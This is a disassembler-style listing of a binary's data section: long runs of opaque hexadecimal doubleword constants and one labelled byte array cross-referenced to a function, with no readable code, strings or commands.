dd 0F37B7D48h, 0C73B18BFh, 6FFB70Fh, 755E7D16h, 0A514BDA5h
dd 76ECBF7Bh, 95E56F11h, 1FAA971Fh, 0AD644D26h, 0D139FC2h
dd 8BF7D826h, 2B8E7D74h, 2F21F050h, 0AC207B16h, 17FD1BD7h
dd 5236A075h, 1E6937ECh, 245B2BE1h, 63E54235h, 0D1890330h
dd 9CD43EFCh, 950EC638h, 40C21C10h, 346074B2h, 55D8ABC9h
dd 84D81028h, 0D863685h, 0B9C3E333h, 0E912B624h, 5E3C21A9h
dd 968810AAh, 196C0B90h, 2C9C9B4Bh, 0FE8756FEh, 0E323C18Bh
dd 7DDD7DE1h, 94F98303h, 2B935C8Eh, 8A71BF10h, 5E828416h
dd 291EF22Ah, 9A49DE0Dh, 2AEB30EAh, 33EEF184h, 79077D52h
dd 0A332EE83h, 0E54328D3h, 570CA0DBh, 0F0193F87h, 0CEC82303h
dd 2A173A46h, 0E89BD667h, 43F33265h, 12F6B349h, 81FF40D0h
dd 8599DE5Eh, 0EEF4E79Eh
dd 36882A6Dh, 0A484DCC9h, 0BCB1D14Bh, 8FED25DCh, 0DFAC60B5h
dd 60460FEEh, 0B19E8F49h, 9DD5F718h, 30A05F09h, 88655DF6h
dd 0ACE10617h, 7DB742C0h, 575B595Ah, 0EFB2D903h, 37E605Bh
dd 11473B40h, 15E0AC54h, 26BC369Bh, 89CD0852h, 764E41BCh
dd 0AA8011F7h, 3D4290FBh, 0A71B0F49h, 8BF41B21h, 0C2413338h
dd 900D56B1h, 12596976h, 43CB552Dh, 0AD576A3Ah, 143608E0h
dd 10355FC2h, 5E0C13Ch, 6A133621h, 81370484h, 12904E00h
dd 4850AE3Ah, 87485106h, 1DD554FFh, 0D2852003h, 13087667h
dd 3C1BA04h, 934BEB96h, 0EBF02AB0h, 0C4960124h, 0B73BB100h
dd 5B1635F1h, 474901B3h, 7E8DF6AAh, 2040D501h, 0D8993F0Bh
dd 0C085E910h, 1A0F7B60h, 6A3B3100h, 0C951266Dh, 68B48109h
dd 37B0C226h, 8E7AD652h, 7AC34E8Bh, 3CCA49CFh, 1D2F4D74h
dd 87FB996h, 67F3C144h, 337D8651h, 5CAF9C8Bh, 2CA86100h
dd 419E3822h, 3D22540Eh, 3C4CA5CFh, 75514F00h, 1B38F9B2h
dd 0FA3EF29Fh, 4DCBD2Eh, 6136B231h, 2A120B0Fh, 0E01BB96Ch
dd 0E2C5683h, 859F6431h, 16FD86A2h, 0BD391D29h, 0A3453B0Dh
dd 8B365B7Fh, 0C101E246h, 0B2374BF6h, 0CF6CE3F0h, 0CD92E3CDh
dd 2136BCB1h, 0B3B9E08Ch, 0CAF12801h, 2179060Dh, 0A749063Ah
dd 0D82113CCh, 0E0C416CAh, 0D271C87h, 84F62B22h, 133B148Dh
dd 49783FA9h, 8304F475h, 0E8AF8A9h, 305C683h, 688B035Ah
dd 0D1A603E1h, 0AFB44F26h, 5131BA7Eh, 502688C2h, 812B9604h
dd 0BE089552h, 40075FFh, 0E8EBAB96h, 860BBB7h, 617BAB11h
dd 0F0701608h, 97001782h, 0CE18EFB2h, 0ABD46837h, 38E60D4h
dd 10D90EE9h, 43406815h, 3000DC7h, 480746E2h, 99186224h
dd 0F6E02CCBh, 0BD0380C1h, 0E959AD37h, 1BCB375Ah, 0F1F277BEh
dd 0EE7B704h, 0FC10523Ah, 8710601Ch, 94E203CBh, 642CC3A0h
dd 0C6219694h, 13C97009h, 0FB87588Ch, 0ED6EBF3h, 3C9E311Bh
dd 9245FF61h, 9209C617h, 423C908h, 0BC7E8E6Dh, 3B852C30h
dd 0B264CF04h, 0E8884A3h, 94E91ECFh, 0A36C4628h, 2D3E22DEh
dd 93E07A0h, 923BD0B5h, 2C9CC75Eh, 19DA865Dh, 0E90189F8h
dd 357C0101h, 0A63A7918h, 53B3F833h, 43D1DF91h, 0FB0FB12Eh
dd 82577C50h, 88AB6400h, 0AC5420B2h, 0F9671585h, 2541E00h
dd 13F46BDAh, 778BA181h, 2C898009h, 707E1660h, 0B054AF4Ch
dd 785BDD84h, 0B789830Fh, 0C7920331h, 0D1407CE1h, 57B1D1A2h
dd 0FD04D182h, 613F4B6Ch, 102F57DCh, 28D167E7h, 0DF46A767h
dd 594AD98Fh, 96761618h, 0E86D0F69h, 3DA7F33h, 0CE87F25Ch
dd 91BB724h, 0E8B1D4E8h, 97CAC21h, 73D546F8h, 2F41BE89h
dd 8328826Eh, 0BC31C6BBh, 0CC036EF5h, 0A021C6B2h, 2BD99E12h
dd 35E168EBh, 3F5C813Bh, 0FEB18827h, 125A6240h, 0A0186CD1h
dd 0A2EA01BEh, 0F9E57ACh, 92A63803h, 0FFFB85F0h, 0F0A81FFh
dd 8014E38h, 0EF8D040Bh, 1851F0h, 5F118400h, 7AF99CE9h
dd 3145687h, 0C085CEE5h, 7152D3FDh, 0E59F710Dh, 488E833Dh
dd 66DAF093h, 0B2EC9AB7h, 5BD5F7CAh, 164AD87Fh, 0E883A8C0h
dd 8C578051h, 56702A1Dh, 0C0901052h, 5D7D964Ch, 16148C31h
dd 0CB6A8260h, 48096378h, 3AA43A64h, 8B4D8E54h, 0FA1202FBh
dd 0F420042Ch, 6C09E47h, 1EB4200h, 22D70339h, 0B8FB6C15h
dd 84803860h, 83F02BF0h, 0B84A07E2h, 80308FFh, 0D0A5F342h
dd 8110EC36h, 0A02B0BF4h, 26AC21ACh, 1C03E994h, 854782A8h
dd 6CAC7045h, 4F28B7AEh, 0C2ED03AEh, 0ED04D985h, 26ADA19Fh
dd 987391C5h, 168E4954h, 0D1C0D6Ch, 88B01B0Eh, 8F02F030h
dd 8221544Bh, 949A242Bh, 5511039Ch, 242C7496h, 6F7D9242h
dd 1CD74CB6h, 0D1400381h, 85D8C360h, 663A3F9Ch, 6DC38BABh
dd 0E27C303h, 0DD22D040h, 4980D30Ch, 16A0159Fh, 2B37D79Ah
dd 1B4B679h, 0C38AF727h, 5F612AAAh, 0B6E85008h, 89038E47h
dd 5024FA82h, 692BC61h, 87120A2Fh, 0F4531C5Bh, 0C3AB07EEh
dd 3C055346h, 11AAC1B0h, 791B113Fh, 582F6EE0h, 1C5630C9h
dd 36270F02h, 37A70840h, 797C033Fh, 724C68Ah, 3F6A9441h
dd 0B4F00Ch, 32AB8866h, 0C388015Eh, 0E20B2D30h, 0CAA68B0h
dd 57F2282Ah, 0B27110ABh, 511F66B0h, 0C8200B82h, 0C3B03F30h
dd 30FE28Ah, 786370D5h, 471D05E6h, 167403D4h, 3EA62317h
dd 0E81A977Eh, 155EA912h, 24388958h, 556FE168h, 1CDD7906h
dd 0F02F8C9Dh, 0B1A62103h, 3C8B175Dh, 0DDE70E28h, 8CF4C41Ch
dd 3F152C12h, 148BC923h, 0E62631B7h, 4A8B75Fh, 0FDBA7067h
dd 1CC6AC39h, 84FAC9F2h, 5CF4501Eh, 8A0C278Ch, 38C11864h
dd 0FAE34847h, 927DC8C3h, 25000001h, 0B309B1E8h, 0A9E0352Eh
dd 28AB5AB5h, 3D98711h, 35F8ABEFh, 0C924A086h, 0C2426C12h
dd 48C11D1Bh, 0F1C32865h, 62499DB2h, 0BB198C43h, 4F2DFC78h
dd 8A2CA64h, 0FA291430h, 7500FE80h, 818235Fh, 11246B4h
dd 69C2F63Bh, 0F4C4056Dh, 41587218h, 0D4511A46h, 0B1ADAB81h
dd 0E887EE9Bh, 8CFFFFFEh, 0E9FB0021h, 7729FC89h, 7F4200B8h
dd 0D8F6C28Ah, 0A208C8C1h, 233230ABh, 55A00804h, 5B5200A6h
dd 8ED0303h, 0C115CBB4h, 0CD462584h, 9D3EA4E9h, 621CD7ECh
dd 0FCE54BDEh, 8B182F40h, 0F709ABD7h, 3BF8F084h, 0E647FE74h
dd 2DBE57D3h, 512B2F31h, 0E9B0E41Fh, 478DFDAAh, 2BCE0304h
dd 0ABD872B8h, 65093BABh, 0E09D8153h, 79DA1670h, 20B512C6h
dd 0EB105113h, 8644AC1Eh, 718910A6h, 2986C466h, 7B151B1Ch
dd 2F7F749Bh, 3A897F95h, 0BBB52C3h, 162C31A1h, 0F6AC08E5h
dd 469135Fh, 152F96FBh, 5B1B335Bh, 63733DC2h, 0BDE91A46h
dd 0EFEE5EC5h, 73EF504Eh, 0D46619B5h, 0D3D28DBDh, 0C3CD1163h
dd 0DEF90205h, 79062A05h, 804481C3h, 0B12C6DEh, 3BAC7FDCh
dd 0D08B068Bh, 75CC3CE0h, 0C9C7304Eh, 46AB84D5h, 7E132AF8h
dd 1602DE7h, 54C21FDAh, 0AAF090B0h, 4474E9ACh, 95A7683h
dd 86D631A1h, 240DC628h, 8DB4A3CFh, 2A30036Eh, 2C7A95F8h
dd 25245E2Ah, 5744AB5h, 505B100Ch, 66F0FBE4h, 0C800F3Dh
dd 0ED30A76Fh, 9E83CFEh, 0EDEC9DA7h, 3B5F74C2h, 0DE03CDBh
dd 0F0177F8Fh, 96D703Ch, 66404F85h, 38FF25EDh, 10FFF730h
dd 29057A74h, 56747F42h, 235E8h, 0C60B4805h, 9276AC0Fh
dd 23B4DBCh, 527C0CB1h, 3F0A3455h, 0F3915934h, 0B9E9A4E3h
dd 0FB399BBCh, 0B8AB0190h, 51341E7Bh, 0CC0FDDF7h, 0A496150Ah
dd 1EEF1497h, 351CD50h, 3F7C42C6h, 70D9323Fh, 0B56C01A8h
dd 0F15348D2h, 0F4889966h, 5606421Bh, 0C63497D8h, 1413CB7Fh
dd 4370DB58h, 0D84B95F1h, 0EDC68BC4h, 0B0E60164h, 5037FE03h
dd 1ED817ADh, 7608DE82h, 0C4697709h, 0AD087C7Bh, 0DA6C1938h
dd 0B58E0C8Fh, 0AB205049h, 458B0311h, 8960DE27h, 169F1B5Bh
dd 0A3050B06h, 31D02E49h, 0EDD98D94h, 5E23E211h, 0E39EE3CDh
dd 1F7CFF44h, 0C5E67EBh, 4DD67064h, 0C033086Fh, 607ED8B2h
dd 4077307Ch, 21D1AF9Ch, 0B0BEF656h, 6D7477E9h, 42A5739Fh
dd 691446E2h, 70F81431h, 63470188h, 3387B919h, 7AB4A637h
dd 0F7C62BF8h, 0F232ABD8h, 27C6DDDh, 0BA880D28h, 4117B003h
dd 8B0B0B67h, 1436DFA0h, 0DC1ACFCAh, 3E824278h, 0FAF14303h
dd 0EB86F73Eh, 0FF19D40Dh, 595F5E5Ah, 4CB58BC3h, 0CE0B6Bh
dd 643A0887h, 0B803203h, 1F940D00h, 11240843h, 360200B0h
dd 80E9Fh, 108003C1h
dd 0C1179157h, 0BC933220h, 378A7B94h, 3016C00h, 5F416CA8h
dd 603411Bh, 81854240h, 20020E00h, 20BB17C0h, 0DF602103h
dd 5890204Dh, 0B2A3DF2Ch, 87850320h, 2F1902F7h, 0B0174308h
dd 0B7C2C003h, 5803B245h, 231F6C77h, 0BF1B2F61h, 20027628h
dd 0C14257h, 180708B0h, 56FC808h, 0FFD80391h, 61222F00h
dd 3900B007h, 7D2828FFh, 2000h, 404C0394h, 93C80895h, 2B8741E3h
dd 5F1B1F61h, 4D473600h, 58278041h, 591F4Ah, 5421FF43h
dd 0D22B5B3Fh, 80FFC02Bh, 18AF7E2h, 0FF140B41h, 8C2F683h
dd 0F63CF275h, 3C3274FFh, 3C2E74F7h, 3774FFCDh, 40740F3Ch
dd 80EDC6F6h, 0ED044E75h, 1E6F7540h, 507520EDh, 58046F09h
dd 2B8AC18Bh, 81F59D8Dh, 0DF0707E2h, 0C602C29Ah, 80DBC35Bh
dd 0ED0128CEh, 7D27538h, 0CDEB80EDh, 8001ED04h, 0C5B42639h
dd 0C0E15B07h, 83945A7Fh, 2904B700h, 0FFFFFA83h, 0C28BB175h
dd 0D180D1EBh, 20BB20F6h, 7F06AB75h, 80A6EB21h, 576F02F2h
dd 6FA87510h, 0A3EB0607h, 650C116Bh, 7A0B5C6h, 389B0CB7h
dd 0DBE08A68h, 7D9F07F5h, 8374C0FCh, 3C2D24FFh, 76057504h
dd 0DE072416h, 17744012h, 748004DFh, 83FD660Ah, 850F05F8h
dd 80CBDF61h, 59E904CAh, 0CC010763h, 19EE51E9h, 0F90E7406h
dd 239BED29h, 21B633Dh, 0C11BE9A8h, 4C03C1E8h, 919EBC7Dh
dd 340B9091h, 9E90ED93h, 96FE049Bh, 8D9E8D9Dh, 19D9DF86h
dd 91B6BDA7h, 11AD9E89h, 9A89FF15h, 90968C8Dh, 90D9DF91h
dd 7A682099h, 4E1A6CD4h, 689184B6h, 0A1F1495Eh, 0D27C125h
dd 415B5381h, 0AC562783h, 2CD02064h, 3F4ABC9Eh, 0ECE203DCh
dd 32F38A05h, 6B17F17Bh, 0A246D759h, 32762DFAh, 58A76C6Bh
dd 2609B39Bh, 8680496Dh, 5891612Ch, 646E3C48h, 8826038Fh
dd 8D500219h, 5E9F647Bh, 10B01384h, 363AAD60h, 0EAD405DEh
dd 4958F5A4h, 75CFA310h, 3C210706h, 0B26C2515h, 77BF6C09h
dd 982FDA98h, 0AA087810h, 0ECC2165Eh, 9A922A7Fh, 0A2692451h
dd 0C10442C9h, 413C0086h, 0A03F016Ah, 0C2240481h, 0D3A102Ch
dd 94219CE7h, 0E82C8245h, 1943352Ch, 0B7FE010h, 57E62D8h
dd 534EC190h, 0D8F15075h, 0A42A631Fh, 8D71B59h, 724C8BEDh
dd 0C1BB8416h, 0D05F5375h, 0C0F01B08h, 10991F4Fh, 88D2F6FAh
dd 0A8B74010h, 0AF64D975h, 0FFF68507h, 0A8485174h, 178A7D01h
dd 0D0689D47h, 0E874B294h, 750051DFh, 14726573h, 0F5AB964Ah
dd 0C0589376h, 106AE241h, 63413692h, 8244AFD3h, 27CE0AB5h
dd 0F47008CDh, 0F2C1A82Fh, 35925500h, 27F6CA03h, 50EE8A45h
dd 0FD8CC68h, 0FCDF1945h, 6AA250A7h, 0BAB0649h, 55AE3EA0h
dd 3A12DD3Eh, 0EE1693EEh, 0DBED4164h, 0C482DC3h, 4D6AFF10h
dd 0D2A27168h, 5053FEA8h, 0FFA076E8h, 8B1790FFh, 64E0FFDEh
dd 84182129h, 0D891684Fh, 0D8B08100h, 8D0FFF66h, 36C0A8BDh
dd 102C1900h, 2DAFB9E1h, 46ABF3B0h, 981C0D6Bh, 0C8DFA825h
dd 0EFD55703h, 0BBB92075h, 0CB23303h, 62A9BB7Bh, 0C5F77F04h
dd 8758BD9h, 8BCC6AFEh, 0FD74A6FCh, 51114B09h, 24032F8Fh
dd 0E9110D6Fh, 6B5DCBCh, 465AF833h, 6DA8584Eh, 2F2063Ah
dd 25E6762Fh, 24AA2078h, 78C6143h, 70134826h, 915516E2h
dd 83302504h, 80045B5h, 8283119h, 50F0FC4h, 81800AE8h
dd 272445B2h, 0DE6872BEh, 9D2DD541h, 0C1D804DEh, 95543E47h
dd 31044BCFh, 0C4557F04h, 26D4840Fh, 3B0B18FCh, 1B3964C5h
dd 0DD06FD55h, 3D252FA3h, 12B0EB0Dh, 0F97B4D9Fh, 0CC483E0h
dd 86A33B58h, 0F5FC61Bh, 0E181E247h, 365A1471h, 47BC6923h
dd 63C7E7FFh, 28C97C4h, 0B75E6211h, 63098CE8h, 0C2080647h
dd 6668BB3Fh, 0E2829735h, 0E810C193h, 74D60386h, 6209E6AFh
dd 4575B12Ah, 0D793F692h, 6DE30DFEh, 0CD43B468h, 9533CCEEh
dd 0BF04DE9Bh, 0CCFB21B8h, 8EA88F47h, 5BB8A710h, 1FFF4724h
dd 9AC35412h, 0C93BFDF3h, 0F8C833F3h, 0F1E2BD8Bh, 0B845C1B7h
dd 0AF0CE881h, 9B06C19Fh, 0FF60D25Bh, 73C883F2h, 0F2C0855Eh
dd 16C22BC5h, 0C681F8D0h, 2CC100E6h, 74599FC2h, 73BBB1Fh
dd 6C032E7Eh, 0F35999CFh, 44CB13DAh, 0DE77DB83h, 5B783FB2h
dd 0A2F2168Ah, 0E1839FEFh, 0F7DDF233h, 0EE6D10D0h, 49C03BF2h
dd 0C280F2F6h, 6F60646h, 0FF2A41F3h, 8AF28129h, 77DF791Ch
dd 0C80CE484h, 2AC13C6Fh, 2A557BD3h, 0FE07F7AFh, 0BF0F1688h
dd 0F1CB1BC6h, 0EEAD450Ah, 9C2BD32h, 0F2C22BDFh, 442BF34Bh
dd 59006A8Fh, 45F1ED80h, 3BC5A22Bh, 0DBAF48D8h, 48775358h
dd 3061F7C6h, 91DC7C58h, 68911603h, 0F2FBC50Eh, 0BF2C71Bh
dd 0F1817F39h, 14DF9A9Ah, 0A953486Fh, 6D5FFF30h, 64126C63h
dd 51FFE679h, 4DB16F73h, 0FF56D55Eh, 525A6C60h, 3E48BA5Ch
dd 33A768FFh, 701A643Ah, 0AE4BFF46h, 79234D43h, 52FF4619h
dd 5E105230h, 0FC3B30FEh, 323C31FBh, 6F406447h, 451BE8C0h
dd 0F175A3FFh, 2D282A34h, 3725FF24h, 33117D49h, 0DFF3FF1h
dd 193BED1Fh, 0FF12371Ah, 0FE02D51Ch, 0FA44DE28h, 1DF87512h
dd 5F1C0B06h, 0EF26299Ah, 35CFFE19h, 21CB15EBh, 1DB3B7F7h
dd 0C2AD06F3h, 2FF7429h, 8A2302E0h, 81FFEFDCh, 0EA7479CBh
dd 0FF96F65Fh, 47C9F8CEh, 50E1E9B4h, 0DA4BDEFFh, 4ADD4BDCh
dd 0BA1EFFE9h, 0CECFE4E2h, 0FFF5BADh, 67C4D9EEh, 0C4D8D90Bh
dd 0A146D9AEh, 0CBBFADFFh, 4DBBB9C3h, 0C7B521FFh, 0C836E395h
dd 6C4FF39h, 0AB38AF39h, 0ACFFA443h, 93B8B9B6h, 0FFD8F945h
dd 0A09E969Bh, 39319A9Bh, 9DBAFBFFh, 0A5A08080h, 0A57AFFA4h
dd 89D52CFEh, 7FFFA78Bh, 0ED299785h, 81519371h, 57F6F9Fh
dd 7B05D280h, 0FF87FF04h, 85828860h, 1FF4F84h
db 0C5h
byte_4B9785 db 0A4h, 77h, 62h ; DATA XREF: sub_40D9C0+6Do
dd 0FF776C6Ah, 0D705FD76h, 754B7996h, 0F081D3FFh, 1D5D5020h
dd 5466FF51h, 0CBA0BA66h, 4FFFCA63h, 4A504899h, 0FF1C4C4Dh
dd 3F6C8DE9h, 3F54522Ah, 0CBCB3EFFh, 0C2495E7Fh, 46C5FD3Ah
dd 54481E6Fh, 311E47BFh, 0FF29BBC0h, 0B20CBA30h, 33A037A1h
dd 350BD3FFh, 22E18802h, 1B8DFF1Ah, 8C29278Ch, 22FF9726h
dd 110F075Bh, 0FFF60B10h, 122B509Ch, 0A2D31904h, 4D5A5FFh
dd 0FBEFBEFEh, 0FCFAFFF2h, 959A0607h, 9FF2667h, 0EE6B0270h
dd 0FFF1E676h, 0CE9C30FCh, 0F2F3F8F6h, 537169FFh, 0E1D7F512h
dd 0DD1D0BB7h, 0E7066F45h, 0E4FFE5E8h, 0AAE0E4BAh, 0FFA6D0C6h
dd 0A2CCC2ECh, 0E4D8AEF8h, 0D4AA3FE2h, 0C1B6DDDFh, 26FFD059h
dd 0C3C8C69Eh, 0FF41A1C2h, 47C5E223h, 1AC9CEEFh, 0B61DAAFFh
dd 0B5B38BE9h, 0C89FFFB4h, 0A6BFF430h, 78EB9A98h, 7F6194C6h
dd 8FA57DC2h, 0E6FF918Eh, 98B1CE1Ah, 0FF99976Fh, 0ECA9398h
dd 7992B3F8h, 7A7B81FFh, 0DA18287Dh, 57CF19Dh, 0D3BE0489h
dd 8B3D6F5Dh, 4753FFC6h, 0B7FFDC72h, 0D061D1F0h, 0A5CAA95Dh
dd 0C2FF475Ch, 4FD263D3h, 0FF514703h, 1D83115Dh, 5358562Eh
dd 0CFCE52FFh, 383D7293h, 3D3AFF40h, 9DD37C3Ch, 0B8FF475Ch
dd 4344B348h, 0FF3A2E1Ch, 372D258Fh, 0C25F3936h, 205976FFh
dd 0A62128F4h, 1AA9E11Eh, 0F27FFFDCh, 0CDA2A648h, 0E0FFF24h
dd 0A10080Fh, 56FF0C0Dh, 172C6DA3h, 0FF0F13F1h, 0FEF6FAh
dd 990BFAFBh, 0FD1A5BFFh, 0C11509DFh, 105FFDBh, 0EAF0E8F9h
dd 0D8FFECEDh, 0F70C4D83h, 0FF63F868h, 0DFCCD8F4h, 754FEFCFh
dd 0A6DA37FFh, 0E8C1E3CAh, 855DFF4Ch, 0EA9CCEBCh, 0D7FCCDC5h
dd 64EAD9D6h, 3BDF2F36h, 0C1FF3AD5h, 2BC0301Ah, 0FFB469BCh
dd 9DDFFFC6h, 0B1AEAFC5h, 0E3CBBFFh, 644B0D1h, 9A79FFB1h
dd 0AEB290B2h, 0A185998Ch, 0D59DFFFFh, 9CBDFA38h, 0BFAA97Eh
dd 8E864F64h, 2B8AAC17h, 0AAEB29FFh, 0A5996F8Dh, 9206FF3Bh
dd 18647E09h, 74FF99CAh, 8889867Ch, 0DBE9FFFEh, 7BFF83A8h
dd 6B6903FFh, 6C656698h, 2A22FF11h, 5FDC73DDh, 4BFF2179h
dd 0F35A585Ah, 0EDB8DE30h, 3F623A73h, 0DB514EFFh, 43596E8Fh
dd 0C9E3FC4Ah, 55532BE7h, 0CA28FF2Fh, 3E5FFFB4h, 1E472FFAh
dd 43FF4846h, 0A3C1AF42h, 0FF274562h, 23B4E631h, 0B159032Dh
dd 0D3A83FFh, 211E1F35h, 7EACFFDBh, 10DC2041h, 29FFFF29h
dd 25FBEDE1h, 0FF0731DBh, 3D3AB11h, 0E410030Ah, 0F19EEFFh
dd 0F9A4B83Bh, 0FDFF6F01h, 3AFF96E0h, 3DB041Dh, 0E3EF0405h
dd 0DF647A2Dh, 0F7EDE57Fh, 0FF31F9F6h, 0E0193682h, 0E166F567h
dd 0DBD96AFFh, 0DC6407B9h, 0F1E8FF4Fh, 68F2E3C0h, 0FF0F8F32h
dd 0FFD78DAFh, 4E9CD3FFh, 7ED2F338h, 0B9BBFFC5h, 82DDD1C0h
dd 0F4FFC7B4h, 0C29B9491h, 0FC16D38Fh, 1996B0A6h, 0B3BFB78Fh
dd 0D3182E23h, 60CCB2FFh, 2540A096h, 0A9A7FF7Fh, 34EBA3A8h
dd 8AFFC3E8h, 42898F7Ch, 0FF8A8343h, 6EF7BF3Ah, 0FDB44E98h
dd 81FC95FFh, 7C7A728Bh, 9A86FF87h, 89A6E715h, 81FF855Bh
dd 9A6AE45Fh, 0FE77612Ah, 7378764Eh, 37EFC372h, 0FF575D1Fh
dd 0D07D3761h, 4966CB5Ah, 0FF22FF4Bh, 514F4736h, 0DC514B50h
dd 526B90FFh, 49625644h, 5FCDFFB9h, 0A4F1542Dh, 31FFFAD1h
dd 0C53CC247h, 0FF203348h, 1CF93E42h, 25F6B92Fh, 0FF857E42h
dd 0C5D638FDh, 2F1B5879h, 12922BFFh, 271C1AFFh, 87B5A026h
dd 9D29FF46h, 710FFD0Fh, 0AFE02BBh, 8616170Ch, 0DFDE77A5h
dd 0B7FE14ECh, 0B8D2C9Dh, 0DEFF031Fh, 2030806h, 0FF6381A4h
dd 0F1E70522h, 0EA5CD1FDh, 4FF667FFh, 9D97F9CEh, 0DFCDF7BAh
dd 0FCFFFBADh, 3BE94CCEh, 0A5040B22h, 0A9ECD4FFh, 0C4DD8A90h
dd 0D8FF0BE4h, 0D3F6C9FFh, 7EC58E4Bh, 1CE2FF98h, 7F89D7ABh
dd 0C7FF813Ah, 8945B87Eh, 0FFB0B1A7h, 6D2AA1ABh, 0F00B9059h
dd 6EB88EFFh, 5E35A2D4h, 766FFE3h, 8FA79C9Eh, 1DFFA917h
dd 0AF61A381h, 837F6E5Fh, 8D7C7620h, 6F966E91h, 0DD0592FFh
dd 6FA80DE8h, 7848935Fh, 8DFFD87Dh, 409F763Bh, 0FF6F825Dh
dd 0A7D9716Eh, 4CED5BD3h, 0EE77C4FFh, 548A834h, 940FE1A3h
dd 537FF12Ah, 4AB1A40Fh, 63D9F151h, 0FFBF4C47h, 33523FEDh
dd 421BFF4Bh, 0AE471A57h, 2BFF740Ah, 0F3F8254h, 0AB3AB048h
dd 127FECBBh, 14593668h, 4159FEBCh, 0F16603F8h, 9E617AAh
dd 294BFE7Dh, 34A31D6Ch, 0FF0FA5C1h, 1D185120h, 16740DC1h
dd 7FDD1E83h, 162EE022h, 0A3FF107Eh, 0DF52E548h, 0FFD3D907h
dd 6F15F020h, 0D8C21005h, 0C70CF1FFh, 0C1C6ECD6h, 14F9FE06h
dd 8201BCAEh, 0ADFE3B4Ch, 0E409FFE7h, 0E31970F6h, 0F5FFACB5h
dd 8FDFE1CCh, 0FF647146h, 4442398Ah, 8A18A2Ah, 0FF4A4685h
dd 0D2EEB81Bh, 45A737B6h, 47B602FFh, 0B6A249B9h, 0C14BFFBFh
dd 3346CFA2h, 4FF07ECh, 242229C2h, 0FF839522h, 0A346660h
dd 2080209h, 9C9531FFh, 7780866h, 3D01FF8Fh, 8D1F440Fh
dd 3F6F4510h, 0FFBF6F30h, 0E1363C66h, 439C202Ch, 0BF39AFC0h
dd 62FD306Bh, 48FFD3A8h, 0C0BAC1DAh, 0EB356FC2h, 28B08E4Ch
dd 0BAAB937Fh, 0FFB4B2A9h, 28F1969Ah, 6EA76C56h, 9FD47BFFh
dd 9A705386h, 807AFF81h, 0CB5A542h, 0FF304Eh, 7C29B727h
dd 0FF101F1Fh, 89FAB24Dh, 2B27481Ch, 67BEB2FFh, 3215481Bh
dd 0C0C1DBDCh, 0B5FF0C9Bh, 0C426104Eh, 229A527h, 0B71BFF7Bh
dd 80BE309h, 1C69F154h, 326FF0F1h, 0F65ED553h, 0F5D4620h
dd 793FF9Fh, 24FF7D31h, 0E942F615h, 0FC0D340Fh, 361F9753h
dd 46311B09h, 5F0301BBh, 0C6CFFAC3h, 0DBBFE8B3h, 5B7FA4AFh
dd 0A6E39FCEh, 7FA194C9h, 0D898B93h, 1DFA71A7h, 5FB9859Fh
dd 0FF34985Bh, 69367FFBh, 9297F03h, 5295287Bh, 6D2023FFh
dd 53480BE2h, 7DBF6E65h, 0E37FFFE2h, 0FF0DC7C0h, 0C748C709h
dd 0BF10F52Eh, 0C47C26FCh, 5B1A2DF5h, 1FFF9CD4h, 1F2716F6h
dd 0EE64C106h, 6F0906DFh, 0FF5433FFh, 0FF64E936h, 6B7FD26h
dd 643261Fh, 0E1A90FBBh, 6149277Fh, 0A2ED3F6Fh, 0C8BBFF09h
dd 0BF9BB1C7h, 7F6E7FA5h, 295F12E1h, 0FFD5888Bh, 0BD70A362h
dd 95889B62h, 96C132FFh, 42878580h, 7544FF7Fh, 3F257F4Ah
dd 32FF2B69h, 0F2B2123h, 0ED1F7A49h, 33F9B44h, 1F93BFFFh
dd 0CF1A05D4h, 0BF1FFF45h, 9A25B136h, 0E7FF8FA0h, 0F3EB070Bh
dd 0FFE72057h, 0F32F9BCFh, 0CB9477CAh, 0D8C1D1E3h, 12E27F11h
dd 0E1FF453h, 18E9DDFFh, 24F200EEh, 130BFF7Ch, 2E0733E7h
dd 2CFF1AD1h, 301EE696h, 0FF225402h, 0D675B4C4h, 0CA1752B8h
dd 241BBCFEh, 84D2A0CEh, 90C67E17h, 89BDCCFCh, 5BB3BB19h
dd 91FFBE25h, 0A687D73Ah, 0FFA3AEE2h, 0AA4D5EB7h, 45AD655Dh
dd 51618DFFh, 4575A949h, 85CD8A6Dh, 2A8FFF73h, 61B16AD2h
dd 14FCB874h, 9D7D1505h, 373A1A38h, 0FF287AC8h, 14660C42h
dd 42726856h, 4E64F5FFh, 4B70AE1Ch, 567FFFF0h, 0F29EFFFBh
dd 77FF63DDh, 5DBF4B9Fh, 0FF6E9897h, 9747B081h, 939C5296h
dd 0CCAE87FFh, 3D37AC9Ah, 0FDB1FF9Eh, 2579B9A1h, 0DDFF3C55h
dd 0FB36D4D1h, 0FF254D3Dh, 2931016Dh, 0D251549h, 3957ADFFh
dd 3DE0A901h, 54E3F815h, 0B7D71901h, 0FFDA290Dh, 23CEDF34h
dd 1F4C9DBh, 0ABC4D5FFh, 0D3D0D575h, 0EFC4E9EAh, 3F7F8CEFh
dd 0C3F7DF8Bh, 839BFF97h, 8DB9E391h, 8DFFB0FCh, 21E58DFDh
dd 0F8E9F1E1h, 0FFB3F5CEh, 0EDA897CAh, 0CBF0E81Eh, 7BB3DD70h
dd 0AA2FC2h, 72FF19F6h
dd 0D7911E9h, 0FFCE05EDh, 2709113Bh, 0E52D0515h, 211949FEh
dd 351D4DF1h, 0C0984317h, 0C0C5A1FFh, 0BED4BAC3h, 0FAC2FEF1h
dd 0B6E1BBB4h, 0BCFFF5A4h, 0B5CFD688h, 9A8B8F6Fh, 9484FFD1h
dd 33EA482h, 0B65B58B6h, 25A2DBD2h, 1AFF1BFFh, 92674851h
dd 0FF47535Eh, 530FBB6Fh, 5F0BBF6Bh, 62B176FFh, 16899E04h
dd 0FFC70279h, 0D5D2171h, 0FF948564h, 80916971h, 0E7ED4D65h
dd 5F4179F8h, 0A1B70B5Eh, 0FCFF567Ch, 50627896h, 0FF9E74BAh
dd 9A60BE4Ch, 866CA248h, 52FAECFFh, 84FC9399h, 93BEFDAFh
dd 0B09E58AAh, 45A2AFBFh, 0F84C8334h, 6C3E543Ah, 68C7371Eh
dd 264CFF02h, 33281654h, 32FF4918h, 3A4DD60Ch, 0FF103E08h
dd 2402F422h, 0D836C016h, 2AFC0AF1h, 2E2D2FDCh, 0E4FF32C0h
dd 0F026D4D2h, 0FF3AE8C6h, 0EDD8208Ch, 7E55F4DDh, 9BDF5BFFh
dd 0F8967D82h, 8AECF412h, 42BF43FCh, 0F240D0E0h, 0D086FFF4h
dd 2C9AC8E6h, 9EFDCCFAh, 20D0FE28h, 18FF8FDAh, 22FF4C08h
